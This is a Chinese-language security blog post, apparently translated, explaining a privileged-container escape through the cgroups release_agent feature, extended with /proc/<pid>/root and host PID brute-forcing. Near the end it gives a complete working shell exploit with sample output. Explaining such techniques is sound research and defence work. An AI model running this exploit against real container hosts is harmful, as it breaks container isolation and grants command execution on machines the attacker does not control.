特权容器逃逸技术:利用Control Groups release_agent实现主机命令执行

本文详细分析了如何通过滥用Control Groups的release_agent功能从特权容器中逃逸并在容器主机上执行任意命令的技术细节,包括多种存储驱动配置下的攻击方法和改进的PoC实现。

特权容器逃逸 - Control Groups release_agent

我最近在容器化环境中进行了大量的漏洞挖掘工作,一个常见的主题是从容器中逃逸以在容器主机上执行代码。在本文中,我将详细阐述Felix Wilhelm(@_fel1x)报告的一种技术,通过滥用Control Groups的release_agent功能从特权容器中逃逸,在容器主机上执行任意命令。

特权容器通常用于CI/CD流水线中,以允许构建和发布Docker镜像。攻破特权容器让您更接近访问容器主机,但通常不会让您轻松地直接在主机上执行命令。

然而,在2019年7月,Felix Wilhelm发布了一条推文,其中包含一个概念验证(PoC),通过滥用Control Groups的release_agent功能从特权容器中逃逸,在容器主机上执行任意命令。

Trail of Bits在https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/上很好地解释了这个PoC的细节,他们还详细说明了容器执行此攻击所需的确切能力。简单来说,cgroups的release_agent功能可以从特权容器中触发,以执行主机文件系统上的一个路径,该路径由release_agent文件的内容指定。关键在于,release_agent文件中指定的路径必须相对于容器主机的根文件系统,而不是容器。

Felix的PoC通过解析容器根挂载点并提取upperdir挂载选项来识别容器内文件的主机路径。为了演示这一点,我们可以启动一个特权Docker容器并提取容器内文件的主机文件系统路径:

主机

1
root@host:~$ docker run -ti --privileged --rm alpine:latest /bin/sh

然后在容器内:

容器

1
2
3
4
root@container:~$ head -1 /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SZLBR2DCKKDKNQSS2TN5EBJQCO:/var/lib/docker/overlay2/l/Z45AX7CJLMJSBBQ7LXU3VXVZGB,upperdir=/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff,workdir=/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/work,xino=off 0 0
root@container:~$ sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff

在这种情况下,容器配置为使用overlayfs,它将容器挂载的主机文件系统路径暴露给容器本身。这里的主机文件系统路径将是/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff

这可以通过在容器内创建一个文件来确认:

容器

1
2
3
root@container:~$ echo findme > /findme
root@container:~$ sed -n 's/.*\perdir=\([^,]*\).*/\1\/findme/p' /etc/mtab
/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff/findme

在容器主机的另一个shell中,使用overlayfs挂载路径来cat文件:

主机

1
2
root@host:~$ cat /var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff/findme
findme

边缘情况

当容器配置了暴露挂载点完整主机路径的存储驱动程序(例如overlayfs)时,这种方法工作良好,但我最近遇到了几种没有明显披露主机文件系统挂载点的配置。

Kata容器*

容器

1
2
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)

Kata容器默认通过9pfs挂载容器的根文件系统。这不会披露容器文件系统在Kata容器虚拟机中的位置信息。

*更多关于Kata容器的内容将在未来的博客文章中介绍。

设备映射器

容器

1
2
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0

我在一个真实环境中看到了具有这种根挂载的容器,我认为该容器正在运行特定的devicemapper存储驱动程序配置,但到目前为止我无法在测试环境中复制这种行为。

替代PoC

显然,在这些情况下,没有足够的信息来识别容器文件在主机文件系统上的路径,因此Felix的PoC不能直接使用。然而,我们仍然可以通过一些巧思来执行这种攻击。

所需的一个关键信息是相对于容器主机的要执行的容器内文件的完整路径。如果无法从容器内的挂载点辨别这一点,我们必须寻找其他地方。

Proc来救援

Linux的/proc伪文件系统暴露了系统上运行的所有进程的内核进程数据结构,包括在不同命名空间中运行的进程,例如在容器内。这可以通过在容器中运行命令并在主机上访问该进程的/proc目录来展示:

容器

1
root@container:~$ sleep 100

主机

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...

顺便说一下,/proc/<pid>/root数据结构是一个让我困惑了很长时间的结构,我一直不明白为什么有一个指向/的符号链接是有用的,直到我阅读了man页面中的实际定义:

/proc/[pid]/root UNIX和Linux支持每个进程的文件系统根的概念,通过chroot(2)系统调用设置。这个文件是一个指向进程根目录的符号链接,其行为与exe和fd/*相同。

但请注意,这个文件不仅仅是一个符号链接。它提供了与进程本身相同的文件系统视图(包括命名空间和每个进程的挂载集)。

/proc/<pid>/root符号链接可以用作主机相对路径来访问容器内的任何文件:

容器

1
2
root@container:~$ echo findme > /findme
root@container:~$ sleep 100

主机

1
2
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme

这将攻击的要求从知道容器内文件相对于容器主机的完整路径,改为知道在容器中运行的任何进程的pid。

Pid暴力破解

这实际上是容易的部分,Linux中的进程id是数字并按顺序分配。init进程被分配进程id 1,所有后续进程被分配递增的id。要识别容器内进程的主机进程id,可以使用暴力递增搜索:

容器

1
2
root@container:~$ echo findme > /findme
root@container:~$ sleep 100

主机

1
2
3
4
5
6
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme

整合所有内容

要完成这种攻击,可以使用暴力技术来猜测/proc/<pid>/root/payload.sh的路径,每次迭代将猜测的pid路径写入cgroups release_agent文件,触发release_agent,并查看是否创建了输出文件。

这种技术的唯一注意事项是它一点也不隐蔽,并且可能使pid计数变得非常高。由于没有保持长时间运行的进程,这不应该引起可靠性问题,但请不要引用我的话。

下面的PoC实现了这些技术,提供了比Felix原始PoC更通用的攻击,用于使用cgroups release_agent功能从特权容器中逃逸:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# 运行一个我们可以搜索的进程(实际中不需要,但有更好)
sleep 10000 &

# 准备要在主机上执行的有效负载脚本
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# 要在主机上运行的命令
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# 使有效负载脚本可执行
chmod a+x ${PAYLOAD_PATH}

# 使用内存资源cgroup控制器设置cgroup挂载
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# 暴力破解主机pid,直到创建输出路径,或者我们用尽猜测
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # 将release_agent路径设置为猜测的pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # 触发release_agent的执行
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# 等待并cat输出
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

在特权容器内执行PoC应该提供类似于以下的输出:

容器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

结束思考

感谢Felix Wilhelm发布了这种强大的特权容器逃逸技术的初始PoC。

有关cgroups release_agent工作原理的更多详细信息,请参见https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计